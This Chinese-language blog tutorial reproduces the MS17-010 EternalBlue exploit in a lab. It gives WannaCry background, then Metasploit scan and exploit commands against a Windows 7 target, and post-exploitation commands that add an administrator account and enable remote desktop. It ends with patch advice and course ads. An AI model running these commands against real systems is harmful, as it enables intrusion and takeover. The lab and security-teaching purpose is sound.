1. 程式人生 > >[漏洞復現] MS17-010 基於"永恒之藍"實現Windows Getshell

[漏洞復現] MS17-010 基於"永恒之藍"實現Windows Getshell

永恒之藍 黑客 滲透測試 MS17-010 Kali Linux

1、漏洞概述

2017年5月,被稱為近10年來影響範圍最廣泛“最囂張”的WannaCry勒索病毒席卷全球,據統計,全球共有150多個國家超30萬臺終端被感染,波及政府、學校、醫院、金融、航班等各行各業。

技術分享圖片


一旦中了WannaCry病毒,則電腦文件會被“加密劫持”,黑客要求受害者支付高昂贖金(比特幣)才能拿到解密秘鑰。當時互聯網上有很多人確實嘗試通過支付贖金解決“被挾持的電腦”,畢竟多年的工作和學習資料比起贖金來講,價值更大。而實際上,很多人即便打錢過去,也無濟於事。

為什麽WannaCry病毒能夠在短短一個月時間,對全球造成這麽大的危害?這裏就必須提到今天的主角:“永恒之藍”。

時間追溯到2016年,全球神秘黑客組織影子經紀人( Shadow Brokers)

入侵了另外一支技術高超的黑客團隊
方程式組織(Equation Group),並拿到後者部分泄密武器。而方程式組織其實便是NSA(美國國家安全局)旗下的黑客團隊,正因此,由國家支持的“核武器級網絡軍火庫”正式浮出水面。

Shadow Brokers在拿到這批武器之後,本來打算以100萬比特幣(當時價值5億美元)出售這批“網絡軍火庫”,但最終沒有人支付這筆天價費用。

直到2017年4月14號,Shadow Brokers幹脆直接在Github上公開整個武器庫,大量的針對Windows零日漏洞攻擊武器被公開,其中,就包括了上面提到的“永恒之藍”滲透代碼。(Eternalblue)

技術分享圖片


繞了這麽一大圈,其實就是想告訴大家一點:

這枚WannaCry勒索病毒,就是黑客拿著美國安全局泄露的永恒之藍攻擊代碼進行研制,並進行大肆勒索傳播。

關於這一點,微軟於2017年5月也公開指責NSA:“美國安全局正是全球勒索病毒的發源地,政府所持有的零日漏洞被泄露到公共領域,造成不可損失的破壞”

直到現在,很多普通用戶仍然單方面吐槽“這是因為Windows系統不夠安全”,把問題直接歸結於微軟。而實際上,在這件事情上,微軟才是真正的“背鍋俠”,因為Windows系統在2017年3月14號就早早推送了MS17-010的安全更新,若用戶打上這個補丁,就可以避免這次攻擊。但是,大量的普通用戶沒有更新打補丁的習慣,更不用說那些采用Ghost盜版系統的用戶了。


技術分享圖片


雖然很多人已經從各種新聞報道和“個人經歷”已經知曉這枚病毒的威力,但是在這裏我們還是花了很多給大家普及了它的來龍去脈,並在這裏給大家一個觀點:

[WannaCry事件] 是21世紀網絡安全領域的一個標誌性事件,意味著:

  • 國家級別的網絡安全對抗早就在秘密展開了,現在被一些黑客組織“戳破”了;

  • 黑客攻擊事件已經完全滲透到真實世界裏,“比特世界”和“原子世界”邊界徹底被打破;

  • 誰掌握零日漏洞以及對應的攻擊武器,誰在“第五空間”就有話語權;

  • 類似WannaCry的病毒會越來越多,並且頻率越來越高,例如Bad Rabbit、NotPetya……


2、漏洞復現環境

Kali Linux 2017.03 + Windows 7 sp1
滲透機:Kali Linux (ip:172.16.70.216)
靶機:Windows 7 sp1 (ip:172.16.70.199)

永恒之藍漏洞剛出來的時候,當時很多人是用Shadow Brokers泄露的NSA原生攻擊工具來測試,通過“ Fuzzbunch + Eternalblue 組合拳 ”,雖然可以做出getshell效果,但是整個實現過程非常麻煩,不太適合安全新手進行快速實踐。到了Kali Linux 2017.03和Kali Linux 2018版,神器Metasploit直接集成了MS17-010的滲透測試代碼,針對Win7和Server2008可以實現getshell,幾分鐘內就可以將完成整個漏洞復現過程。

註:此實驗環境所用滲透機和靶機,跟之前文章所分享一致,可以參考往期推文,並下載所需鏡像=>

[漏洞復現] CVE-2017-11882 通殺所有Office版本


3、實驗流程

①登錄Kali Linux,進入MSF框架,搜索ms17-010代碼

msfconsole
msf > search ms17_010


技術分享圖片


這裏可以得到兩個工具,其中auxiliary/scanner/smb/smb_ms17_010是永恒之藍掃描模塊,exploit/windows/smb/ms17_010_eternalblue是永恒之藍滲透代碼,一般配合使用,前者先掃描,若顯示有漏洞,再進行滲透。

②使用ms17-010掃描模塊,對靶機Win7進行掃描

使用模塊
msf > use auxiliary/scanner/smb/smb_ms17_010
設置目標IP或網段
msf auxiliary(smb_ms17_010) > set RHOSTS 172.16.70.199
執行掃描
msf auxiliary(smb_ms17_010) > run


技術分享圖片


③使用ms17-010滲透模塊,對靶機Win7進行滲透

使用模塊
msf > use exploit/windows/smb/ms17_010_eternalblue
查看可設置的選項
msf exploit(ms17_010_eternalblue) > show options
設置滲透目標ip
msf exploit(ms17_010_eternalblue) > set RHOST 172.16.70.199
執行滲透
msf exploit(ms17_010_eternalblue) > exploit

技術分享圖片


技術分享圖片

技術分享圖片


技術分享圖片


從最終效果來看,此時Kali Linux通過MS17-010滲透代碼,直接拿到Win7的Shell,之後便可以通過Shell對目標靶機進行控制。

④通過Shell對靶機Win7進行控制

創建用戶名密碼 blue/blue
net user blue blue /add
將用戶blue添加入管理組
net localgroup administrators blue /add
開啟遠程桌面功能
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
Kali遠程桌面連接Win7
rdesktop 172.16.70.199:3389

技術分享圖片


技術分享圖片


技術分享圖片


可以看到,最終Kali通過shell新建了用戶,並通過遠程桌面連接到目標靶機上。
當然,上面這是一個簡單的演示,告訴大家這個漏洞很危險,真正的黑客能做的事情更多,所以還是要多打補丁或按照安全軟件。

4、漏洞修復

①在線更新;開啟Windows Update更新。
②打補丁;此漏洞對應的微軟補丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010


=====================

【職位套餐】

①《CCIE魔鬼訓練營套餐》:零基礎到CCIE網絡安全專家,包含CCNA/CCNP/CCIE不同等級的課程內容,涉及R&S、ISP、Security、滲透測試等課程內容,行業最經典,優惠幅度最大。課程鏈接:http://edu.51cto.com/pack/view/id-255.html

②《Web安全工程師》:掌握Web漏洞掃描、信息探測、SQL註入、文件上傳、Webshell木馬、遠程執行、XSS跨站腳本攻擊、CSRF跨站請求偽造等核心技能。課程鏈接:http://edu.51cto.com/topic/1181.html

③《高級Web安全工程師》:掌握Python編程、Web開發(Django)、Web安全,通往高級Web安全工程師。課程鏈接:http://edu.51cto.com/topic/1183.html


[漏洞復現] MS17-010 基於"永恒之藍"實現Windows Getshell